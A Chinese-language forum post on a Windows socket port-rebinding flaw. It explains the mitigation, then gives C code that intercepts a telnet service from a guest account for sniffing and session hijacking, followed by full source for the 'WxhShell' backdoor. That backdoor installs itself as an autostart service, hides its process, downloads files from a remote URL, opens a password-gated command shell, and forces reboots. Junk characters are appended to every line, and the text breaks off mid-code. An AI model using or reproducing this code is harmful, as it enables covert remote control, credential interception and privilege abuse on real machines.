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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >)u{%@Rcy{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @Kn@j D;  
fP6.  
  saddr.sin_family = AF_INET; R#.H&#  
,KD?kSIf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FA;-D5=  
?Z4%u8Krvz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 'x<oILOG  
: bi(mX7t  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 eX lJ=S}  
Gg]Jp:GF  
  这意味着什么?意味着可以进行如下的攻击: ]zCD1 *)  
ms!|a_H7 r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @HSK[[?  
h{H*k#>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Wv9L }@J  
~)`\ j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Yh;(puhyA  
~t/i0pKq.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1c429&-  
`@WJ_-$#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =yM%#{t&W  
Jw&Fox7p  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~IWdFUKk  
^c >Bh[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #`f{\  
<5 OUk  
  #include "vQ%` Q  
  #include om9'A=ZU  
  #include hW/Ve'x[  
  #include    S-ZN}N{,6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "frioi`a2  
  int main() #qR6TM&;  
  { '1xhP}'3)  
  WORD wVersionRequested; ZZHzC+O#^  
  DWORD ret; L<3+D  
  WSADATA wsaData; @iXBy:@  
  BOOL val; JR xY#k  
  SOCKADDR_IN saddr; aI ;$N|]u  
  SOCKADDR_IN scaddr; <1Sj_HCT  
  int err; : ir3u  
  SOCKET s; 42A'`io[w]  
  SOCKET sc; (=fLWK{8  
  int caddsize; W[qy4\.B  
  HANDLE mt; (xWsyo(4  
  DWORD tid;   5M~nNm[xJU  
  wVersionRequested = MAKEWORD( 2, 2 ); TXXG0 G  
  err = WSAStartup( wVersionRequested, &wsaData ); Jc}6kFgO6  
  if ( err != 0 ) { aPK:k$.  
  printf("error!WSAStartup failed!\n"); zS|4@t\__  
  return -1; <y~Ba@1u  
  } +:=FcsY  
  saddr.sin_family = AF_INET; )"hd"  
   {X{S[(|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )!cucY  
YcclO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >3B {sn}  
  saddr.sin_port = htons(23); /]j{P4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @ <2y+_e  
  { L(u@%.S  
  printf("error!socket failed!\n"); GYiL}itD=3  
  return -1; ]B3+& g  
  } a#%*H  
  val = TRUE; t']/2m.&p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZWGX*F#}P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) WAR!#E#J7  
  { )\VuN-d  
  printf("error!setsockopt failed!\n"); p-)@#hE  
  return -1; /wJ4hHY  
  } ~n) |  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #a~BigZ[G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 , %8)I("  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?V+\E2  
\9tJ/~   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) dTCLE t.  
  { );i J9+ V}  
  ret=GetLastError(); 9a`~ K L  
  printf("error!bind failed!\n"); DO-M0L  
  return -1; u9~Ncz  
  } $IX(a4'  
  listen(s,2); *{k{  
  while(1) C;/ONF   
  { ^c(r4#}$"  
  caddsize = sizeof(scaddr); eN </H.bm]  
  //接受连接请求 ~"vS$>+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }vOg9/[{  
  if(sc!=INVALID_SOCKET) 7kA+F +f  
  { QGV#AID3XW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sb3z8:r  
  if(mt==NULL) )B&`<1Oie  
  { ]+a~/  
  printf("Thread Creat Failed!\n"); 4guR8 elM  
  break; ~xc/Dsb$  
  } .o]I^3tf c  
  } Vj1V;dHv  
  CloseHandle(mt); sq(5k+y*J  
  } Opg_-Bf  
  closesocket(s); Sw; kUJ  
  WSACleanup(); ):Z #!O<  
  return 0; `uk=2k}&m  
  }   :k`Qj(7S  
  DWORD WINAPI ClientThread(LPVOID lpParam) Yy]TU} PY  
  { 7BwR ].  
  SOCKET ss = (SOCKET)lpParam; Pw]r&)I`y[  
  SOCKET sc; P*K"0[\n  
  unsigned char buf[4096];  E^5  
  SOCKADDR_IN saddr; !s/qqq:g  
  long num; ,ZrR*W?iF  
  DWORD val; o@dT iQK_  
  DWORD ret; p< 0=. ~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4|5;nxkGm8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0F_hXy@K  
  saddr.sin_family = AF_INET; nVgvn2N/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ._A4 :  
  saddr.sin_port = htons(23); S *J{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eAI|zk6  
  { {` bX*]  
  printf("error!socket failed!\n"); xhho{  
  return -1; tl*v(ZW  
  } W+=j@JY}q9  
  val = 100; B:UPSX)A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j r .{M  
  { U,T#{  
  ret = GetLastError(); #?D[WTV  
  return -1; }aa]1X(u  
  } Evg#sPu\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <Z_\2 YW A  
  { h:C:opa-=  
  ret = GetLastError(); v^Fu/Y  
  return -1; 33eOM(`D[  
  } -6s]7#IC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l*w'  O  
  { ~Eik&5 z  
  printf("error!socket connect failed!\n"); W=+AU!%  
  closesocket(sc); |Thm5,ao  
  closesocket(ss); ;O~FiA~`c  
  return -1; 4L`,G:J,;  
  } qM 1ZCt  
  while(1) <_*5BO  
  { U+4[w`a}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 be_h uZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 3d1xL+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %G6x\[,  
  num = recv(ss,buf,4096,0); ']c;$wP  
  if(num>0) -AVT+RE9z  
  send(sc,buf,num,0); VJW8%s[  
  else if(num==0) l<S3<'&  
  break; yLXIjR  
  num = recv(sc,buf,4096,0); MZA%ET,l,<  
  if(num>0) ]w]BKpU=  
  send(ss,buf,num,0); 7J$rA.tu  
  else if(num==0) }z\t}lven  
  break; Kc1w[EQ  
  } /RhM6N  
  closesocket(ss); =Y!.0)t;*  
  closesocket(sc); +9t{ovF?L  
  return 0 ; ;"9Ks.  
  } j1+I_   
Sa.nUj{M=  
{IBbN05 ;  
========================================================== nDckT+eJ  
GuL0:,  
下边附上一个代码,,WXhSHELL ^:f)XZ  
3]'h(C  
========================================================== egfd=z=2un  
7hMh%d0d(_  
#include "stdafx.h" ~WV1t][  
#jj (S\WY  
#include <stdio.h> ix?Z:pIS0  
#include <string.h> R&P^rrC@B5  
#include <windows.h> e9S*^2;  
#include <winsock2.h> $SFreyI;Uf  
#include <winsvc.h> -H_#et3&i  
#include <urlmon.h> a #p`l>rx  
}PDtx:T-  
#pragma comment (lib, "Ws2_32.lib") vt(n: Xk  
#pragma comment (lib, "urlmon.lib") q %tq9%  
!>K=@9NC|.  
#define MAX_USER   100 // 最大客户端连接数 ?G&J_L=@Y  
#define BUF_SOCK   200 // sock buffer m#6p=E  
#define KEY_BUFF   255 // 输入 buffer TDg<&ND3  
k#mL4$]V5N  
#define REBOOT     0   // 重启 <FZ*'F*M  
#define SHUTDOWN   1   // 关机 2AxKB+c1`  
Q4N0j' QA  
#define DEF_PORT   5000 // 监听端口 4m~p(r  
>k/ rJ[Sc  
#define REG_LEN     16   // 注册表键长度 'q8:1i9\[  
#define SVC_LEN     80   // NT服务名长度 wb]Z4/j#  
_R ;$tG,  
// 从dll定义API .0X 5Vy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); biQ~q $E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0\"]XYOH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ({C|(v9 C7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "oR%0pU*  
4Xv."L  
// wxhshell配置信息 [e:ccm  
struct WSCFG { nnd-d+$  
  int ws_port;         // 监听端口 W7T2j+]  
  char ws_passstr[REG_LEN]; // 口令 %]F{aR  
  int ws_autoins;       // 安装标记, 1=yes 0=no |hu9)0 P  
  char ws_regname[REG_LEN]; // 注册表键名 7~D5Gy  
  char ws_svcname[REG_LEN]; // 服务名 UM+g8J{$*;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j(_6.zf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cI <T/~P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7#26Smv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \9:IL9~F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" VK}H;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \ERHnh  
Nb>C5TjR  
}; 3.?oG5 P#  
>- CNHb  
// default Wxhshell configuration ~c>]kL(,  
struct WSCFG wscfg={DEF_PORT, FJsg3D*@J  
    "xuhuanlingzhe", {8~xFYc:  
    1, ;@[ax{ J  
    "Wxhshell", Reg%ah|$/=  
    "Wxhshell", ::Di  
            "WxhShell Service", +C=^,B!,  
    "Wrsky Windows CmdShell Service", l9NET  
    "Please Input Your Password: ", 0VI[6t@  
  1, x.U:v20`  
  "http://www.wrsky.com/wxhshell.exe", M/8EaQs}  
  "Wxhshell.exe" 0 |Rmb  
    }; X]Ma:1+  
T`Qg+Q$  
// 消息定义模块 p=f8A71  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SRyot:l   
char *msg_ws_prompt="\n\r? for help\n\r#>"; tWI4x3 &2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )^Md ^\?  
char *msg_ws_ext="\n\rExit."; EwOi` g  
char *msg_ws_end="\n\rQuit."; 4VlQN$  
char *msg_ws_boot="\n\rReboot..."; !}&f2!?.W  
char *msg_ws_poff="\n\rShutdown..."; *JY2vq  
char *msg_ws_down="\n\rSave to "; ]}N&I_mU  
!K_ ke h  
char *msg_ws_err="\n\rErr!"; "@+r|x  
char *msg_ws_ok="\n\rOK!"; UE%~SVi.#  
>l0D,-O]m  
char ExeFile[MAX_PATH]; 2S_7!|j  
int nUser = 0; f\M;m9{(  
HANDLE handles[MAX_USER]; EN@Pr `R  
int OsIsNt; Zd[6-/-:  
eTY" "EWU  
SERVICE_STATUS       serviceStatus; A>Oi9%OY:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >=3ay^(Y2D  
vKcc|#  
// 函数声明 $@4(Lq1.  
int Install(void); H{fOAv1*  
int Uninstall(void); p#fV|2'  
int DownloadFile(char *sURL, SOCKET wsh); $+Vp>  
int Boot(int flag); >KnXj7  
void HideProc(void); 6 2#dSd}HG  
int GetOsVer(void); F\hU V[  
int Wxhshell(SOCKET wsl); I'T@}{h  
void TalkWithClient(void *cs); LuUfdzH  
int CmdShell(SOCKET sock); r4FGz!U  
int StartFromService(void); [(4s\c  
int StartWxhshell(LPSTR lpCmdLine); A@k`$xevVj  
*[O)VkL\%i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >$iQDVh!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IA?v[xu  
DAtZp%  
// 数据结构和表定义 $ -n?q w  
SERVICE_TABLE_ENTRY DispatchTable[] = >`!Lh`n7_  
{ 2K&5Kt/  
{wscfg.ws_svcname, NTServiceMain}, j @+QwZL|  
{NULL, NULL} mtg3}etA  
}; %Ut7%obpi  
~^pV>>LX|  
// 自我安装 is [p7-  
int Install(void) F8%.-.l)  
{ xxC2F:Q?U  
  char svExeFile[MAX_PATH]; ag\xwS#i5H  
  HKEY key; 1'>wrGr  
  strcpy(svExeFile,ExeFile); gx)!0n;  
Qt+;b  
// 如果是win9x系统,修改注册表设为自启动 PQFr4EY?i  
if(!OsIsNt) { z&r@c-l@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yG<`7v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AqHH^adzA:  
  RegCloseKey(key); +8\1.vY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x^ruPiH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tf1G827  
  RegCloseKey(key); ]NrA2i?  
  return 0;  UX& ?^]  
    } eURj'8o),  
  } Pa-p9]gq  
} vw/L|b7G  
else { {x#I&ra  
jR CG}'  
// 如果是NT以上系统,安装为系统服务 hs5aIJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y={_o!9  
if (schSCManager!=0) fxKhe[;  
{ )LP=IT  
  SC_HANDLE schService = CreateService {!`0i  
  (  ;Iu}Q-b*  
  schSCManager, %kRQ9I".  
  wscfg.ws_svcname, @1UC9}>  
  wscfg.ws_svcdisp, AQH\ ;L  
  SERVICE_ALL_ACCESS, );zLy?n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^t'mfG|DV  
  SERVICE_AUTO_START, }c$@0x;YQ  
  SERVICE_ERROR_NORMAL, Ur/+nL{  
  svExeFile, 1>BY:xZr  
  NULL, B]o5 HA<k  
  NULL, C;C= g1I}  
  NULL, <FfdOK_  
  NULL, d/fg  
  NULL >)sB# <e  
  ); `(rnD  
  if (schService!=0) vl{G;[6  
  { AD ,  
  CloseServiceHandle(schService); cR0OJ'w  
  CloseServiceHandle(schSCManager); 5#|f:M]Bo|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I|27%i  
  strcat(svExeFile,wscfg.ws_svcname); BmP!/i_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CQ`$' oy?W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G{ 9p.Q  
  RegCloseKey(key); Gidh7x  
  return 0; CSC sJE#4  
    } <ETR6r  
  } iIe\mV  
  CloseServiceHandle(schSCManager); *C (/ 2  
} tS2Orzc>,  
} aOj(=s  
iAOm[=W  
return 1; h*2NFL~#  
} 7NY9UQ  
<u 'q._m  
// 自我卸载 w*E0f?s  
int Uninstall(void) am$-1+iX  
{ ws tH&^  
  HKEY key; :j}]nS  
nbVlP  
if(!OsIsNt) { +EtL+Y (U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SP,#KyWP0)  
  RegDeleteValue(key,wscfg.ws_regname); v7i5R !  
  RegCloseKey(key); Hkcr+BQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  o IUjd  
  RegDeleteValue(key,wscfg.ws_regname); O[tOpf@s.  
  RegCloseKey(key); :KJG3j?   
  return 0; f^tCD'Vmi  
  } @bc=O1vX~;  
} V8aLPJ0_  
} A 11w{`EM  
else { 8op,;Z7Y  
qB`-[A9HPe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4! Cu>8B  
if (schSCManager!=0) tKnvNOhn  
{ Ux<2!vh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [ _jd  
  if (schService!=0) _;;'/rs j  
  { u9t@%H)lZ  
  if(DeleteService(schService)!=0) {  KKfC^g  
  CloseServiceHandle(schService); *bl*R';  
  CloseServiceHandle(schSCManager); `30og]F0YJ  
  return 0; "|2|Vju%  
  } "kE$2Kg  
  CloseServiceHandle(schService); 7+,6 m!4  
  } Ddf7wszW  
  CloseServiceHandle(schSCManager); Kc6p||<  
} y%y F34  
} 6vx0F?>_  
/~,|zz  
return 1; A,tmy',d"  
} (BB&ZUdyv  
k *a?Ey$  
// 从指定url下载文件 B=>:w%<Ii  
int DownloadFile(char *sURL, SOCKET wsh) Rmq8lU  
{ ;3nR_6\  
  HRESULT hr; ileqI/40f  
char seps[]= "/"; &8l"Dl  
char *token; (&2 5 8i,  
char *file; (8[etm  
char myURL[MAX_PATH]; WBo|0(#  
char myFILE[MAX_PATH]; L(p{>Ykcc  
j89C~xP6  
strcpy(myURL,sURL); 6#,VnS)`q  
  token=strtok(myURL,seps); uxGY/Zf  
  while(token!=NULL) >S3,_@C  
  { &rTOJ 1)V}  
    file=token; 2D5S%27,  
  token=strtok(NULL,seps); 7J 0=HbH  
  } SR,id B&i  
IoEIT Kd  
GetCurrentDirectory(MAX_PATH,myFILE); C*;g!~{  
strcat(myFILE, "\\"); {uurM` f}:  
strcat(myFILE, file); XZ@;Tyn0,  
  send(wsh,myFILE,strlen(myFILE),0); l?F&I.{J  
send(wsh,"...",3,0); e<Hbm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eYQq@lrWv  
  if(hr==S_OK) wVI 1sR  
return 0; \#(3r1(  
else N;<.::x  
return 1; C%s+o0b  
-&PiD  
} .'zXO  
8hx4s(1!  
// 系统电源模块 8PWx>}XPt  
int Boot(int flag) JGP<'6"L$  
{ LX%K*nlj  
  HANDLE hToken; WaU+ZgDrG  
  TOKEN_PRIVILEGES tkp; `yjHLg  
+*dG 'U6  
  if(OsIsNt) { B8+J0jdg6%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yx- 2ux  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P@ gVzx)M  
    tkp.PrivilegeCount = 1; E7A psi4]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5XSr K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m5O;aj* i  
if(flag==REBOOT) { `>M-J-J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &RRHmJI:  
  return 0; e rz9CX  
} 7H$0NMP  
else { "}_b,5lkGK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4)L(41h  
  return 0; <qG4[W,[  
} C- Aiv@@<=  
  } .A;e` cKb  
  else { wVSM\  
if(flag==REBOOT) { hT `kma  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h28")c.pH=  
  return 0; 8@Zg@>,  
} .\r=1HZ3  
else { OE{{,HFa`G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) AJk0jh\.j%  
  return 0; 0GUm~zi1  
} !N\<QRb\q  
} ?LJDBN  
w! J|KM  
return 1; VMry$  
} d~i WV6Va  
+D[|Mi  
// win9x进程隐藏模块 }2WscxL  
void HideProc(void) (0L7Ivg<  
{ 'r&az BO  
3V)ef$Y0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (IlHg^"  
  if ( hKernel != NULL ) )e#KL$B)v  
  { cT2&nZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (mO{ W   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~d0:>8zQR  
    FreeLibrary(hKernel); kEQ1&9  
  } 1u?h4w C  
bW"bkA80  
return; p`/"e<TP  
} 7_OC&hhL  
#xUX1(  
// 获取操作系统版本 4?+K:e #F  
int GetOsVer(void) $8/=@E{51  
{ 26SXuFJ@  
  OSVERSIONINFO winfo; ~q5aMy d<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N>R\,n|I  
  GetVersionEx(&winfo); C%2BDj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) to2; . ~X  
  return 1; w=NM==cLj  
  else mS\ gh)<h  
  return 0; j6!C/UgQ  
} <WXGDCj  
v|!u]!JM  
// 客户端句柄模块 z7vc|Z|  
int Wxhshell(SOCKET wsl) R07]{  
{ @nC][gNv  
  SOCKET wsh; )b%t4~7  
  struct sockaddr_in client; s ;3k#-w  
  DWORD myID; A-n@:` n~  
4*AkUkP:T  
  while(nUser<MAX_USER) ,/fB~On-  
{ ro&/  
  int nSize=sizeof(client); x;^DlyyYU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^sF/-/ {?U  
  if(wsh==INVALID_SOCKET) return 1; 0oNNEC  
q8m{zSr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %bN+Y'  
if(handles[nUser]==0) .OyzM  
  closesocket(wsh); O{vVW9Q  
else :VkuK@Th`  
  nUser++; ^Z |WD!>`  
  } $_cO7d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xK*G'3Ge  
#&k`-@b5|  
  return 0; 0 ~a9gBG  
} 7 @W}>gnf  
r,43 gg  
// 关闭 socket ut*sx9l  
void CloseIt(SOCKET wsh) e2"<3  
{ ]$7yB3S,B  
closesocket(wsh); A!^ d8#~.  
nUser--; 9ZD>_a  
ExitThread(0); }5Zmc6S{  
} :5'8MU  
op2<~v0?  
// 客户端请求句柄 C8Oh]JF4d  
void TalkWithClient(void *cs) Q4Zw<IZv5  
{ wbpz,  
g1H$wU3eu  
  SOCKET wsh=(SOCKET)cs; ixvF `S9  
  char pwd[SVC_LEN]; c]/X >8;  
  char cmd[KEY_BUFF]; [mcER4]}  
char chr[1]; UfkQG`G9H  
int i,j; Fa0NHX2:  
r`\6+Ntb.  
  while (nUser < MAX_USER) { _'mK=`>u  
oypF0?!m  
if(wscfg.ws_passstr) { Z?f-_NHg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q{o]^tN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "$I8EW/1  
  //ZeroMemory(pwd,KEY_BUFF); )p`zN=t  
      i=0; J1u&Ga  
  while(i<SVC_LEN) { Z#t}yC%^d  
yog(  
  // 设置超时 9 gc0Ri[4m  
  fd_set FdRead; sTu]C +A  
  struct timeval TimeOut; iu iVr$E  
  FD_ZERO(&FdRead); 1>=]lMW  
  FD_SET(wsh,&FdRead); zq'KX/o  
  TimeOut.tv_sec=8; P,s>xM  
  TimeOut.tv_usec=0; Rn$TYCO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7P bwCRg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sh/4ui{  
Y`*h#{|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u#+Is4Vh  
  pwd=chr[0]; E#~J"9k98  
  if(chr[0]==0xd || chr[0]==0xa) { &a'mh  
  pwd=0; gX~lYdA  
  break; T(=Z0M  
  } RZ0+Uu/J  
  i++; C/!7E:  
    } IP!`;?T=  
|Sv}/ P-  
  // 如果是非法用户,关闭 socket r]deVd G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /^9=2~b  
} xz-?sD/xe  
97pfMk1_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f2 ?01PM,Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8^pu C  
owzcc-g  
while(1) { X- j@#Qb  
cDq*B*e  
  ZeroMemory(cmd,KEY_BUFF); .naSK`J,`  
&<EixDi4q  
      // 自动支持客户端 telnet标准   EvptGM  
  j=0; 1nR\ m+{  
  while(j<KEY_BUFF) { :{ Lihe~\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w7~cY=  
  cmd[j]=chr[0]; !l$k6,WJi  
  if(chr[0]==0xa || chr[0]==0xd) { 0D/7X9xg9+  
  cmd[j]=0; LaYd7Oyf]  
  break; GK[9Cm"v  
  } t]hfq~Ft  
  j++; g f<vQb|  
    } K(AZD&D  
GsoD^mjY  
  // 下载文件 S])*LUi  
  if(strstr(cmd,"http://")) { \;1nEjIA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jt0f*e YE8  
  if(DownloadFile(cmd,wsh)) \.]C`ocD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q>I7.c-M|  
  else %?BygG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Np}<O`./  
  } 24k;.o  
  else { zFr#j~L"  
sZ0)f!aH:_  
    switch(cmd[0]) { $mxl&Qr>Q;  
  y;f nC5Q  
  // 帮助 oK3PA  
  case '?': { De\Ocxx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l6N"{iXU  
    break; Fr#QM0--B  
  } #&Rx?V  
  // 安装 L-Mf{z  
  case 'i': { h>A~yDT[  
    if(Install()) T2TWb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LCqWL1  
    else }?*$AVs2q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ywj'O e41  
    break; tlgg~MViS  
    } ,L; y>::1  
  // 卸载 _ Gkb[H&RZ  
  case 'r': { qmtH0I7)  
    if(Uninstall()) 4JL]?75  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $U'*}S  
    else Ej<`HbJ 'Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6 )lWuY]e  
    break; >gDKkeLD  
    } 6%MM)Vj+u  
  // 显示 wxhshell 所在路径 PJAM_K;  
  case 'p': { m,Mg  
    char svExeFile[MAX_PATH]; T3t w.yh  
    strcpy(svExeFile,"\n\r"); rnC<(f22  
      strcat(svExeFile,ExeFile); "Mh}n-oju  
        send(wsh,svExeFile,strlen(svExeFile),0); |N|[E5Cn  
    break; <1<0odB  
    } OpmPw4?}  
  // 重启 V]/ $ dJ  
  case 'b': { = cI> {  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R#Z m[S  
    if(Boot(REBOOT)) WL;2&S/{@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J!H)[~2/  
    else { "YN6o_*]  
    closesocket(wsh); $ Zj3#l:rK  
    ExitThread(0); ue -a/a  
    } Z& bIjp  
    break; HG3iK  
    } AbB+<0  
  // 关机 !3\( d{  
  case 'd': { Mlo:\ST|  
